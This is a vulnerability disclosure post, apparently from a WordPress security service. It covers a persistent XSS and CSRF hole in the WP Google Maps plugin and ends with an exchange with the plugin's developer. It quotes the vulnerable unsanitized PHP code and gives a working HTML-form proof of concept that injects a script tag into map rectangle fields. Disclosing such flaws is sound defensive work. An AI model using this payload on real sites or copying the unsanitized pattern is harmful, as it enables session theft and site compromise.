Recently Closed WordPress Plugin With 400,000+ Installs Contains Another Authenticated Persistent XSS Vulnerability
Back in April we ran across an authenticated persistent cross-site scripting (XSS) vulnerability in WP Google Maps after our monitoring of the WordPress Support Forum to keep track of publicly known vulnerabilities that have been in plugins customers of our service might be using, led to us coming across a claim that WPEngine was claiming there was an XSS vulnerability in it. That vulnerability remained in the plugin for two months after that and the team running the Plugin Directory apparently wasn’t concerned that a plugin with 400,000+ installs was known to be vulnerable. When it was fixed it turns out it wasn’t part of a larger security improvement.
On Friday the plugin was closed on the Plugin Directory with no explanation why that was (later on the developer says it was closed due to emails bouncing, which would be a good reason to indicate why the plugin was closed, since even they didn’t know). As we do with all very popular plugins that are closed, we then took a look over the security of it, since it appears that hackers have been doing that, so we want to keep our customers ahead of hackers instead of leaving them to be hacked as so many security services do. One of the first thing we did was to go back the code we found was vulnerable before and see if there were any other similar issues still in the plugin. What we found is that by just scrolling down to next function after the one that we identified was vulnerable before, we found the same type of vulnerability still exists.
If the file /legacy-core.php the plugin registers the function wpgmaps_head() to run during “admin_head” if a pro version isn’t enabled:
132 133 134 135 136 137 138 139 140 141 | if (function_exists('wpgmaps_head_pro' )) { add_action( 'admin_head', 'wpgmaps_head_pro' ); } else { if (function_exists( 'wpgmaps_pro_activate' ) && floatval($wpgmza_version) < 5.24) { add_action( 'admin_head', 'wpgmaps_head_old' ); } else { add_action( 'admin_head', 'wpgmaps_head' ); } } |
That causes the function to run when accessing admin pages, so anyone logged in to WordPress that can access an admin page can access that function (so normally Subscriber level users and above). The code in that function lacks security checks before allowing changes to be made to components of maps created through the plugin.
The following code in that permits creating a new rectangle:
3252 3253 3254 3255 3256 3257 3258 3259 3260 3261 3262 3263 3264 3265 3266 3267 3268 3269 3270 3271 3272 3273 3274 3275 3276 3277 3278 3279 3280 3281 3282 3283 3284 3285 3286 3287 3288 3289 3290 3291 3292 3293 3294 3295 3296 3297 3298 3299 3300 3301 | else if (isset($_POST['wpgmza_save_rectangle'])){ global $wpdb; global $wpgmza_tblname_rectangles; $m = null; preg_match_all('/-?\d+(\.\d+)?/', $_POST['bounds'], $m); $north = $m[0][0]; $east = $m[0][1]; $south = $m[0][2]; $west = $m[0][3]; $cornerA = "POINT($north $east)"; $cornerB = "POINT($south $west)"; if(isset($_POST['rectangle_id'])) { $stmt = $wpdb->prepare(" UPDATE $wpgmza_tblname_rectangles SET name = %s, color = %s, opacity = %f, cornerA = {$wpgmza->spatialFunctionPrefix}GeomFromText(%s), cornerB = {$wpgmza->spatialFunctionPrefix}GeomFromText(%s) WHERE id = %d ", array( $_POST['rectangle_name'], $_POST['rectangle_color'], $_POST['rectangle_opacity'], $cornerA, $cornerB, $_POST['rectangle_id'] )); } else { $stmt = $wpdb->prepare(" INSERT INTO $wpgmza_tblname_rectangles (map_id, name, color, opacity, cornerA, cornerB) VALUES (%d, %s, %s, %f, {$wpgmza->spatialFunctionPrefix}GeomFromText(%s), {$wpgmza->spatialFunctionPrefix}GeomFromText(%s)) ", array( $_POST['wpgmaps_map_id'], $_POST['rectangle_name'], $_POST['rectangle_color'], $_POST['rectangle_opacity'], $cornerA, $cornerB )); } |
That code saves user input without sanitizing it and as the proof of concept below shows, it is also output without being escaped leading, which is all together an authenticated persistent cross-site scripting (XSS) vulnerability.
One of the security checks missing is checking for a valid nonce, so the vulnerability could also be exploited through cross-site request forgery (CSRF).
There are additional security issues we also noticed are currently in the plugin.
WordPress Causes Full Disclosure
Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof concept will cause an alert box with any available cookies to be shown when accessing the page /wp-admin/admin.php?page=wp-google-maps-menu&action=edit&map_id=1, when logged in to WordPress.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/" method="POST"> <input type="hidden" name="wpgmaps_map_id" value="1" /> <input type="hidden" name="bounds" value="" /> <input type="hidden" name="rectangle_name" value='"><script>alert(document.cookie);</script>' /> <input type="hidden" name="rectangle_color" value="#ff0000" /> <input type="hidden" name="rectangle_opacity" value='"><script>alert(document.cookie);</script>' /> <input type="submit" name="wpgmza_save_rectangle" value="Submit" /> </form> </body> </html>
Hi All
This was patched last night (same day).
Thank you for letting us know about the vulnerability. In future, please may you give us a bit of lead time to deal with the vulnerability before going public. We have a contact form on our website. It is incredibly difficult to deal with a vulnerability that has already gone public without us knowing. I understand you are upset with the forum moderators but it is unfair on the countless users who experience hacked websites due to these disclosures going public before developers can rectify the vulnerabilities. I’d be happy to have even one or two days notice before going public.
Either way, thank you for pointing out our shortfalls. We will endeavour to make sure all of WP Google Map’s code is sanitized.
Kind regards
Nick
The vulnerability has existed for over a year before we happened across it, so you had plenty of lead time.
We are not upset with the moderators of the WordPress Support Forum, we simply want them to stop acting inappropriately, like when they get in the way of people trying to deal with hacked websites. These full disclosures could have ended long ago if they simply agreed to do that, but so far they have felt their continued ability to act inappropriately is more important than any impact it has.